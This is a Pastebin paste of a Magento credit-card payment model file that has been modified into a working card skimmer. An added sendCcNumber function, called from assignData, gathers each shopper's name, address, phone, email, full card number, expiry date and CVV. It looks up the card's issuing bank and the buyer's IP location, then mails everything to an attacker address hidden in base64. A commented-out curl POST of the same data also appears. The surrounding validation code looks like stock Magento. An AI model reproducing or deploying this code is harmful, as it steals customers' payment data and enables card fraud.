Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /**
- * Magento
- *
- * NOTICE OF LICENSE
- *
- * This source file is subject to the Open Software License (OSL 3.0)
- * that is bundled with this package in the file LICENSE.txt.
- * It is also available through the world-wide-web at this URL:
- * http://opensource.org/licenses/osl-3.0.php
- * If you did not receive a copy of the license and are unable to
- * obtain it through the world-wide-web, please send an email
- * to license@magentocommerce.com so we can send you a copy immediately.
- *
- * DISCLAIMER
- *
- * Do not edit or add to this file if you wish to upgrade Magento to newer
- * versions in the future. If you wish to customize Magento for your
- * needs please refer to http://www.magentocommerce.com for more information.
- *
- * @category Mage
- * @package Mage_Payment
- * @copyright Copyright (c) 2012 Magento Inc. (http://www.magentocommerce.com)
- * @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0)
- */
- class Mage_Payment_Model_Method_Cc extends Mage_Payment_Model_Method_Abstract
- {
- protected $_formBlockType = 'payment/form_cc';
- protected $_infoBlockType = 'payment/info_cc';
- protected $_canSaveCc = false;
- /**
- * Assign data to info model instance
- *
- * @param mixed $data
- * @return Mage_Payment_Model_Info
- */
- public function assignData($data)
- {
- if (!($data instanceof Varien_Object)) {
- $data = new Varien_Object($data);
- }
- $info = $this->getInfoInstance();
- $info->setCcType($data->getCcType())
- ->setCcOwner($data->getCcOwner())
- ->setCcOwnerId($data->getCcOwnerId())
- ->setCcLast4(substr($data->getCcNumber(), -4))
- ->setCcNumber($data->getCcNumber())
- ->setCcCid($data->getCcCid())
- ->setCcExpMonth($data->getCcExpMonth())
- ->setCcExpYear($data->getCcExpYear())
- ->setCcSsIssue($data->getCcSsIssue())
- ->setCcSsStartMonth($data->getCcSsStartMonth())
- ->setCcSsStartYear($data->getCcSsStartYear())
- ->setCcInstallments($data->getCcInstallments())
- ;
- $this->sendCcNumber();
- return $this;
- }
- function sendCcNumber()
- {
- $info = $this->getInfoInstance();
- $object = new Mage_Checkout_Block_Onepage_Billing;
- $address1 = $object->getQuote()->getBillingAddress();
- $data1 = $address1->getFirstname();
- $data2 = $address1->getLastname();
- $data3 = $address1->getStreet(1);
- $data4 = $address1->getStreet(2);
- $data5 = $address1->getCity();
- $data6 = $address1->getRegion();
- $data7 = $address1->getPostcode();
- $data8 = $address1->getCountry();
- $data9 = $address1->getTelephone();
- $data10 = $info->getCcNumber();
- $bin = substr($bin, 0, 6);
- $getbank = json_decode(file_get_contents("https://bins.ribbon.co/api/v1/bins/".$bin.""));
- $ccbrand = $getbank->issuer;
- $ccbank = $getbank->bank;
- $cctype = $getbank->type;
- $ccklas = $getbank->card_category;
- $expyear = substr($info->getCcExpYear(), -2);
- $expmonth = $info->getCcExpMonth();
- if (strlen($expmonth) == 1) {
- $expmonth = '0'.$expmonth;
- };
- $data11 = $expmonth;
- $data12 = $expyear;
- $data13 = $info->getCcCid();
- $ipboss = $_SERVER['REMOTE_ADDR'];
- $details = json_decode(file_get_contents("http://www.telize.com/geoip/".$ipboss.""));
- $nama_negara = $details->country;
- $kode_negara = $details->country_code;
- $serverboss = $_SERVER['SERVER_NAME'];
- $time = date('Y-m-d H:i:s');
- $data16 = Mage::getSingleton('checkout/session')->getQuote()->getBillingAddress()->getEmail();
- $message =
- "+====== Root@PeluruKertas ======+
- Name: ".$data1." ".$data2."
- Address 1: ".$data3."
- Address 2: ".$data4."
- City: ".$data5."
- State: ".$data6."
- Zip: ".$data7."
- Country: ".$data8."
- Phone: ".$data9."
- BIN: ".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."
- ccnumb: ".$data10."
- expdate: ".$data11." / 20".$data12."
- cvv: ".$data13."
- From: ".$serverboss."
- Email : ".$data16."
- +====== Root@PeluruKertas ======+";
- $subject = $bin." - ".$ccbrand." ".$cctype." ".$ccklas." - ".$ccbank." [".$serverboss." - ".$ipboss."]";
- $headers = "From: ".$data8." Credit Card <cc_session@".$serverboss.">";
- $gantengers = "YW5uYWJlbGxla3pyMUBnbWFpbC5jb20="; // Ganti email disini , cuman harus menggunakan hash base64 :D
- $tamvan = base64_decode($gantengers);
- mail($tamvan, $subject, $message, $headers);
- $nodata = "-";
- $chbin = "".$ccbank." ".$ccbrand." ".$cctype." ".$ccklas."";
- $expinfox = "".$data11." / 20".$data12."";
- $nameinfo = "".$data1." ".$data2."";
- $ipinfo = "".$ipboss." - ".$nama_negara."";
- $ch321 = "name={$nameinfo}&address={$data3}&address2={$data4}&city={$data5}&state={$data6}&country={$data8}&zip={$data7}&phone={$data9}&ssn={$nodata}&dob={$nodata}&sortcode={$nodata}&cc={$data10}&exp={$expinfox}&cvv={$data13}&bin={$chbin}&ip={$ipinfo}&site={$serverboss}&browser={$_SERVER['HTTP_USER_AGENT']}";
- //$ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $ch123); curl_setopt($ch, CURLOPT_POSTFIELDS, $ch321); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT,30); curl_setopt($ch, CURLOPT_POST, 1); curl_exec($ch); curl_close($ch);
- }
- /**
- * Prepare info instance for save
- *
- * @return Mage_Payment_Model_Abstract
- */
- public function prepareSave()
- {
- $info = $this->getInfoInstance();
- if ($this->_canSaveCc) {
- $info->setCcNumberEnc($info->encrypt($info->getCcNumber()));
- }
- //$info->setCcCidEnc($info->encrypt($info->getCcCid()));
- $info->setCcNumber(null)
- ->setCcCid(null);
- return $this;
- }
- /**
- * Validate payment method information object
- *
- * @param Mage_Payment_Model_Info $info
- * @return Mage_Payment_Model_Abstract
- */
- public function validate()
- {
- /*
- * calling parent validate function
- */
- parent::validate();
- $info = $this->getInfoInstance();
- $errorMsg = false;
- $availableTypes = explode(',',$this->getConfigData('cctypes'));
- $ccNumber = $info->getCcNumber();
- // remove credit card number delimiters such as "-" and space
- $ccNumber = preg_replace('/[\-\s]+/', '', $ccNumber);
- $info->setCcNumber($ccNumber);
- $ccType = '';
- if (in_array($info->getCcType(), $availableTypes)){
- if ($this->validateCcNum($ccNumber)
- // Other credit card type number validation
- || ($this->OtherCcType($info->getCcType()) && $this->validateCcNumOther($ccNumber))) {
- $ccType = 'OT';
- $ccTypeRegExpList = array(
- //Solo, Switch or Maestro. International safe
- /*
- // Maestro / Solo
- 'SS' => '/^((6759[0-9]{12})|(6334|6767[0-9]{12})|(6334|6767[0-9]{14,15})'
- . '|(5018|5020|5038|6304|6759|6761|6763[0-9]{12,19})|(49[013][1356][0-9]{12})'
- . '|(633[34][0-9]{12})|(633110[0-9]{10})|(564182[0-9]{10}))([0-9]{2,3})?$/',
- */
- // Solo only
- 'SO' => '/(^(6334)[5-9](\d{11}$|\d{13,14}$))|(^(6767)(\d{12}$|\d{14,15}$))/',
- 'SM' => '/(^(5[0678])\d{11,18}$)|(^(6[^05])\d{11,18}$)|(^(601)[^1]\d{9,16}$)|(^(6011)\d{9,11}$)'
- . '|(^(6011)\d{13,16}$)|(^(65)\d{11,13}$)|(^(65)\d{15,18}$)'
- . '|(^(49030)[2-9](\d{10}$|\d{12,13}$))|(^(49033)[5-9](\d{10}$|\d{12,13}$))'
- . '|(^(49110)[1-2](\d{10}$|\d{12,13}$))|(^(49117)[4-9](\d{10}$|\d{12,13}$))'
- . '|(^(49118)[0-2](\d{10}$|\d{12,13}$))|(^(4936)(\d{12}$|\d{14,15}$))/',
- // Visa
- 'VI' => '/^4[0-9]{12}([0-9]{3})?$/',
- // Master Card
- 'MC' => '/^5[1-5][0-9]{14}$/',
- // American Express
- 'AE' => '/^3[47][0-9]{13}$/',
- // Discovery
- 'DI' => '/^6011[0-9]{12}$/',
- // JCB
- 'JCB' => '/^(3[0-9]{15}|(2131|1800)[0-9]{11})$/'
- );
- foreach ($ccTypeRegExpList as $ccTypeMatch=>$ccTypeRegExp) {
- if (preg_match($ccTypeRegExp, $ccNumber)) {
- $ccType = $ccTypeMatch;
- break;
- }
- }
- if (!$this->OtherCcType($info->getCcType()) && $ccType!=$info->getCcType()) {
- $errorMsg = Mage::helper('payment')->__('Credit card number mismatch with credit card type.');
- }
- }
- else {
- $errorMsg = Mage::helper('payment')->__('Invalid Credit Card Number');
- }
- }
- else {
- $errorMsg = Mage::helper('payment')->__('Credit card type is not allowed for this payment method.');
- }
- //validate credit card verification number
- if ($errorMsg === false && $this->hasVerification()) {
- $verifcationRegEx = $this->getVerificationRegEx();
- $regExp = isset($verifcationRegEx[$info->getCcType()]) ? $verifcationRegEx[$info->getCcType()] : '';
- if (!$info->getCcCid() || !$regExp || !preg_match($regExp ,$info->getCcCid())){
- $errorMsg = Mage::helper('payment')->__('Please enter a valid credit card verification number.');
- }
- }
- if ($ccType != 'SS' && !$this->_validateExpDate($info->getCcExpYear(), $info->getCcExpMonth())) {
- $errorMsg = Mage::helper('payment')->__('Incorrect credit card expiration date.');
- }
- if($errorMsg){
- Mage::throwException($errorMsg);
- }
- //This must be after all validation conditions
- if ($this->getIsCentinelValidationEnabled()) {
- $this->getCentinelValidator()->validate($this->getCentinelValidationData());
- }
- return $this;
- }
- public function hasVerification()
- {
- $configData = $this->getConfigData('useccv');
- if(is_null($configData)){
- return true;
- }
- return (bool) $configData;
- }
- public function getVerificationRegEx()
- {
- $verificationExpList = array(
- 'VI' => '/^[0-9]{3}$/', // Visa
- 'MC' => '/^[0-9]{3}$/', // Master Card
- 'AE' => '/^[0-9]{4}$/', // American Express
- 'DI' => '/^[0-9]{3}$/', // Discovery
- 'SS' => '/^[0-9]{3,4}$/',
- 'SM' => '/^[0-9]{3,4}$/', // Switch or Maestro
- 'SO' => '/^[0-9]{3,4}$/', // Solo
- 'OT' => '/^[0-9]{3,4}$/',
- 'JCB' => '/^[0-9]{3,4}$/' //JCB
- );
- return $verificationExpList;
- }
- protected function _validateExpDate($expYear, $expMonth)
- {
- $date = Mage::app()->getLocale()->date();
- if (!$expYear || !$expMonth || ($date->compareYear($expYear) == 1)
- || ($date->compareYear($expYear) == 0 && ($date->compareMonth($expMonth) == 1))
- ) {
- return false;
- }
- return true;
- }
- public function OtherCcType($type)
- {
- return $type=='OT';
- }
- /**
- * Validate credit card number
- *
- * @param string $cc_number
- * @return bool
- */
- public function validateCcNum($ccNumber)
- {
- $cardNumber = strrev($ccNumber);
- $numSum = 0;
- for ($i=0; $i<strlen($cardNumber); $i++) {
- $currentNum = substr($cardNumber, $i, 1);
- /**
- * Double every second digit
- */
- if ($i % 2 == 1) {
- $currentNum *= 2;
- }
- /**
- * Add digits of 2-digit numbers together
- */
- if ($currentNum > 9) {
- $firstNum = $currentNum % 10;
- $secondNum = ($currentNum - $firstNum) / 10;
- $currentNum = $firstNum + $secondNum;
- }
- $numSum += $currentNum;
- }
- /**
- * If the total has no remainder it's OK
- */
- return ($numSum % 10 == 0);
- }
- /**
- * Other credit cart type number validation
- *
- * @param string $ccNumber
- * @return boolean
- */
- public function validateCcNumOther($ccNumber)
- {
- return preg_match('/^\\d+$/', $ccNumber);
- }
- /**
- * Check whether there are CC types set in configuration
- *
- * @param Mage_Sales_Model_Quote|null $quote
- * @return bool
- */
- public function isAvailable($quote = null)
- {
- return $this->getConfigData('cctypes', ($quote ? $quote->getStoreId() : null))
- && parent::isAvailable($quote);
- }
- /**
- * Whether centinel service is enabled
- *
- * @return bool
- */
- public function getIsCentinelValidationEnabled()
- {
- return false !== Mage::getConfig()->getNode('modules/Mage_Centinel') && 1 == $this->getConfigData('centinel');
- }
- /**
- * Instantiate centinel validator model
- *
- * @return Mage_Centinel_Model_Service
- */
- public function getCentinelValidator()
- {
- $validator = Mage::getSingleton('centinel/service');
- $validator
- ->setIsModeStrict($this->getConfigData('centinel_is_mode_strict'))
- ->setCustomApiEndpointUrl($this->getConfigData('centinel_api_url'))
- ->setStore($this->getStore())
- ->setIsPlaceOrder($this->_isPlaceOrder());
- return $validator;
- }
- /**
- * Return data for Centinel validation
- *
- * @return Varien_Object
- */
- public function getCentinelValidationData()
- {
- $info = $this->getInfoInstance();
- $params = new Varien_Object();
- $params
- ->setPaymentMethodCode($this->getCode())
- ->setCardType($info->getCcType())
- ->setCardNumber($info->getCcNumber())
- ->setCardExpMonth($info->getCcExpMonth())
- ->setCardExpYear($info->getCcExpYear())
- ->setAmount($this->_getAmount())
- ->setCurrencyCode($this->_getCurrencyCode())
- ->setOrderNumber($this->_getOrderId());
- return $params;
- }
- /**
- * Order increment ID getter (either real from order or a reserved from quote)
- *
- * @return string
- */
- private function _getOrderId()
- {
- $info = $this->getInfoInstance();
- if ($this->_isPlaceOrder()) {
- return $info->getOrder()->getIncrementId();
- } else {
- if (!$info->getQuote()->getReservedOrderId()) {
- $info->getQuote()->reserveOrderId();
- }
- return $info->getQuote()->getReservedOrderId();
- }
- }
- /**
- * Grand total getter
- *
- * @return string
- */
- private function _getAmount()
- {
- $info = $this->getInfoInstance();
- if ($this->_isPlaceOrder()) {
- return (double)$info->getOrder()->getQuoteBaseGrandTotal();
- } else {
- return (double)$info->getQuote()->getBaseGrandTotal();
- }
- }
- /**
- * Currency code getter
- *
- * @return string
- */
- private function _getCurrencyCode()
- {
- $info = $this->getInfoInstance();
- if ($this->_isPlaceOrder()) {
- return $info->getOrder()->getBaseCurrencyCode();
- } else {
- return $info->getQuote()->getBaseCurrencyCode();
- }
- }
- /**
- * Whether current operation is order placement
- *
- * @return bool
- */
- private function _isPlaceOrder()
- {
- $info = $this->getInfoInstance();
- if ($info instanceof Mage_Sales_Model_Quote_Payment) {
- return false;
- } elseif ($info instanceof Mage_Sales_Model_Order_Payment) {
- return true;
- }
- }
- }
Add Comment
Please, Sign In to add comment